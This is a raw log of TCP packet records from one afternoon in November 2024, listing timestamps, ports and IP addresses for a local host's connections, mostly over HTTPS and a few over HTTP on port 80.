Nov 17, 2024 12:35:42.143053055 CET	443	49921	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:42.145983934 CET	443	49920	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:42.146142006 CET	443	49920	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:42.146197081 CET	49920	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:42.146285057 CET	443	49923	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:42.147444010 CET	49920	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:42.147463083 CET	443	49920	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:42.147483110 CET	49920	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:42.147490978 CET	443	49920	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:42.148614883 CET	49923	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:42.148627996 CET	443	49923	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:42.149154902 CET	49923	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:42.149163961 CET	443	49923	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:42.150980949 CET	49925	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:42.151021004 CET	443	49925	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:42.151174068 CET	49925	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:42.152560949 CET	49926	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:42.152585983 CET	443	49926	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:42.152647018 CET	49926	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:42.152759075 CET	49926	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:42.152774096 CET	443	49926	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:42.152823925 CET	49925	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:42.152838945 CET	443	49925	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:42.158281088 CET	443	49922	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:42.158339977 CET	443	49922	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:42.158431053 CET	443	49922	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:42.158466101 CET	49922	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:42.158485889 CET	49922	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:42.158516884 CET	49922	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:42.158531904 CET	443	49922	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:42.158543110 CET	49922	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:42.158549070 CET	443	49922	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:42.160597086 CET	49928	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:42.160646915 CET	443	49928	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:42.160742998 CET	49928	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:42.160942078 CET	49928	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:42.160968065 CET	443	49928	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:42.276273966 CET	443	49923	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:42.276350975 CET	443	49923	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:42.277762890 CET	49923	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:42.278081894 CET	49923	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:42.278105974 CET	443	49923	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:42.278136969 CET	49923	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:42.278143883 CET	443	49923	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:42.282020092 CET	49929	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:42.282063007 CET	443	49929	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:42.283019066 CET	49929	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:42.283529043 CET	49929	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:42.283549070 CET	443	49929	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:42.729424953 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:42.729424953 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:42.734597921 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:42.734613895 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:42.834616899 CET	443	49924	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:42.835247993 CET	49924	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:42.835261106 CET	443	49924	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:42.835788965 CET	49924	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:42.835793972 CET	443	49924	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:42.892535925 CET	443	49926	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:42.897310972 CET	443	49925	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:42.906692982 CET	443	49928	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:42.912935019 CET	49926	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:42.912959099 CET	443	49926	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:42.913585901 CET	49926	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:42.913590908 CET	443	49926	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:42.914506912 CET	49925	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:42.914535999 CET	443	49925	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:42.915267944 CET	49925	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:42.915283918 CET	443	49925	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:42.921360970 CET	49928	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:42.921391964 CET	443	49928	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:42.921808958 CET	49928	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:42.921816111 CET	443	49928	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:42.969237089 CET	443	49924	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:42.969266891 CET	443	49924	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:42.969321966 CET	443	49924	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:42.969337940 CET	49924	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:42.969378948 CET	49924	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:42.969821930 CET	49924	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:42.969826937 CET	443	49924	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:42.969852924 CET	49924	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:42.969861984 CET	443	49924	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:42.973274946 CET	49930	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:42.973309040 CET	443	49930	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:42.973567009 CET	49930	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:42.973773003 CET	49930	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:42.973787069 CET	443	49930	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:43.030039072 CET	443	49929	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:43.032104015 CET	49929	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:43.032120943 CET	443	49929	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:43.033181906 CET	49929	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:43.033188105 CET	443	49929	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:43.041393042 CET	443	49926	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:43.041579962 CET	443	49926	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:43.041785002 CET	49926	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:43.041826963 CET	49926	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:43.041841030 CET	443	49926	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:43.041853905 CET	49926	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:43.041858912 CET	443	49926	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:43.042085886 CET	443	49925	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:43.042170048 CET	443	49925	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:43.042229891 CET	49925	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:43.042327881 CET	49925	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:43.042350054 CET	443	49925	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:43.042367935 CET	49925	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:43.042377949 CET	443	49925	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:43.045547962 CET	49931	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:43.045571089 CET	443	49931	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:43.045675039 CET	49932	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:43.045716047 CET	49931	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:43.045717955 CET	443	49932	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:43.045847893 CET	49931	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:43.045861959 CET	443	49931	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:43.045922041 CET	49932	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:43.045986891 CET	49932	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:43.045998096 CET	443	49932	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:43.048593998 CET	443	49928	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:43.048744917 CET	443	49928	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:43.049983978 CET	49928	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:43.050214052 CET	49928	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:43.050214052 CET	49928	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:43.050231934 CET	443	49928	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:43.050246954 CET	443	49928	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:43.052651882 CET	49933	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:43.052680969 CET	443	49933	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:43.053205013 CET	49933	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:43.053344011 CET	49933	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:43.053360939 CET	443	49933	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:43.163718939 CET	443	49929	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:43.163785934 CET	443	49929	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:43.163893938 CET	443	49929	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:43.163964033 CET	49929	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:43.166893959 CET	49929	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:43.166903019 CET	443	49929	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:43.166914940 CET	49929	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:43.166918993 CET	443	49929	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:43.170418978 CET	49934	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:43.170439005 CET	443	49934	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:43.170520067 CET	49934	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:43.171071053 CET	49934	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:43.171084881 CET	443	49934	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:43.505433083 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:43.505633116 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:43.609237909 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:43.614145994 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:43.722038984 CET	443	49930	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:43.722640038 CET	49930	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:43.722651958 CET	443	49930	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:43.723149061 CET	49930	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:43.723155022 CET	443	49930	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:43.777262926 CET	443	49932	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:43.777865887 CET	49932	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:43.777889013 CET	443	49932	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:43.778359890 CET	49932	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:43.778366089 CET	443	49932	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:43.806217909 CET	443	49931	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:43.806749105 CET	443	49933	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:43.808207035 CET	49931	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:43.808226109 CET	443	49931	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:43.808962107 CET	49931	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:43.808967113 CET	443	49931	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:43.809334040 CET	49933	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:43.809361935 CET	443	49933	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:43.809917927 CET	49933	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:43.809926033 CET	443	49933	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:43.852289915 CET	443	49930	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:43.852443933 CET	443	49930	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:43.852538109 CET	49930	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:43.852739096 CET	49930	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:43.852752924 CET	443	49930	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:43.852783918 CET	49930	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:43.852790117 CET	443	49930	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:43.856020927 CET	49935	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:43.856066942 CET	443	49935	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:43.856256962 CET	49935	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:43.856412888 CET	49935	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:43.856430054 CET	443	49935	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:43.892157078 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:43.892199993 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:43.892235994 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:43.892373085 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:43.892373085 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:43.896899939 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:43.901323080 CET	443	49934	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:43.901935101 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:43.904397011 CET	49934	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:43.904419899 CET	443	49934	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:43.904884100 CET	49934	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:43.904889107 CET	443	49934	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:43.910727978 CET	443	49932	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:43.910887957 CET	443	49932	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:43.910944939 CET	49932	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:43.916932106 CET	49932	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:43.916949034 CET	443	49932	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:43.916960955 CET	49932	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:43.916968107 CET	443	49932	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:43.939033031 CET	443	49931	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:43.939119101 CET	443	49931	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:43.939243078 CET	49931	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:43.939418077 CET	443	49933	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:43.939449072 CET	443	49933	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:43.939505100 CET	49933	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:43.939507008 CET	443	49933	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:43.939547062 CET	49933	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:43.939932108 CET	49931	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:43.939938068 CET	443	49931	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:43.943229914 CET	49933	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:43.943242073 CET	443	49933	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:43.943253040 CET	49933	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:43.943259001 CET	443	49933	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:43.944901943 CET	49936	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:43.944921970 CET	443	49936	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:43.944989920 CET	49936	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:43.946633101 CET	49936	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:43.946645975 CET	443	49936	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:43.947364092 CET	49937	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:43.947390079 CET	443	49937	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:43.947635889 CET	49937	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:43.947762966 CET	49937	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:43.947777033 CET	443	49937	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:43.947838068 CET	49938	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:43.947845936 CET	443	49938	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:43.948095083 CET	49938	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:43.948354006 CET	49938	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:43.948360920 CET	443	49938	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:44.029824018 CET	443	49934	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:44.029926062 CET	443	49934	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:44.029989004 CET	49934	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:44.039335966 CET	49934	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:44.039349079 CET	443	49934	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:44.039364100 CET	49934	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:44.039371014 CET	443	49934	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:44.044703007 CET	49939	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:44.044729948 CET	443	49939	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:44.044828892 CET	49939	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:44.045835972 CET	49939	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:44.045850039 CET	443	49939	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:44.178867102 CET	49941	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:44.178909063 CET	443	49941	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:44.179016113 CET	49941	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:44.179214001 CET	49941	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:44.179227114 CET	443	49941	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:44.179639101 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:44.179693937 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:44.196135044 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:44.200988054 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:44.572730064 CET	443	49935	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:44.573306084 CET	49935	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:44.573318005 CET	443	49935	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:44.573796034 CET	49935	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:44.573800087 CET	443	49935	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:44.678514004 CET	443	49936	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:44.679075956 CET	49936	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:44.679102898 CET	443	49936	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:44.679577112 CET	49936	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:44.679583073 CET	443	49936	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:44.680244923 CET	443	49937	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:44.680543900 CET	49937	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:44.680576086 CET	443	49937	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:44.680922031 CET	49937	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:44.680928946 CET	443	49937	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:44.694315910 CET	443	49938	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:44.694711924 CET	49938	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:44.694720030 CET	443	49938	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:44.695194960 CET	49938	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:44.695199013 CET	443	49938	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:44.699947119 CET	443	49935	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:44.700031996 CET	443	49935	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:44.700082064 CET	49935	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:44.700100899 CET	443	49935	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:44.700139999 CET	443	49935	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:44.700185061 CET	49935	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:44.700315952 CET	49935	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:44.700329065 CET	443	49935	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:44.700336933 CET	49935	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:44.700341940 CET	443	49935	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:44.703613997 CET	49942	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:44.703634024 CET	443	49942	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:44.703794003 CET	49942	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:44.704035997 CET	49942	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:44.704049110 CET	443	49942	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:44.779033899 CET	443	49939	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:44.779824018 CET	49939	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:44.779834032 CET	443	49939	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:44.779992104 CET	443	49941	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:44.780375004 CET	49941	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:44.780389071 CET	443	49941	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:44.780894041 CET	49939	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:44.780901909 CET	443	49939	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:44.781358004 CET	443	49941	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:44.781455040 CET	49941	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:44.781860113 CET	49941	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:44.781956911 CET	443	49941	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:44.782018900 CET	49941	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:44.808177948 CET	443	49937	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:44.808321953 CET	443	49937	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:44.808458090 CET	49937	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:44.808506012 CET	49937	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:44.808517933 CET	443	49937	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:44.808528900 CET	49937	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:44.808532953 CET	443	49937	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:44.809303999 CET	443	49936	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:44.809834003 CET	443	49936	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:44.809897900 CET	49936	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:44.810039043 CET	49936	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:44.810039043 CET	49936	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:44.810054064 CET	443	49936	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:44.810062885 CET	443	49936	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:44.811574936 CET	49943	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:44.811636925 CET	443	49943	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:44.811925888 CET	49943	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:44.812099934 CET	49944	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:44.812136889 CET	443	49944	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:44.812246084 CET	49943	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:44.812274933 CET	443	49943	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:44.812289000 CET	49944	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:44.812464952 CET	49944	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:44.812480927 CET	443	49944	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:44.823333979 CET	443	49941	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:44.825670958 CET	443	49938	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:44.825743914 CET	443	49938	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:44.825865984 CET	49938	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:44.825900078 CET	49938	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:44.825901031 CET	49938	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:44.825907946 CET	443	49938	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:44.825915098 CET	443	49938	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:44.828038931 CET	49945	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:44.828068018 CET	443	49945	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:44.828164101 CET	49945	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:44.828300953 CET	49945	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:44.828313112 CET	443	49945	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:44.829626083 CET	49941	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:44.829632998 CET	443	49941	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:44.876498938 CET	49941	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:44.921308994 CET	443	49941	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:44.921329021 CET	443	49941	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:44.921380997 CET	49941	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:44.921386957 CET	443	49941	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:44.921432018 CET	49941	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:44.922605038 CET	49941	443	192.168.2.5	23.47.50.145
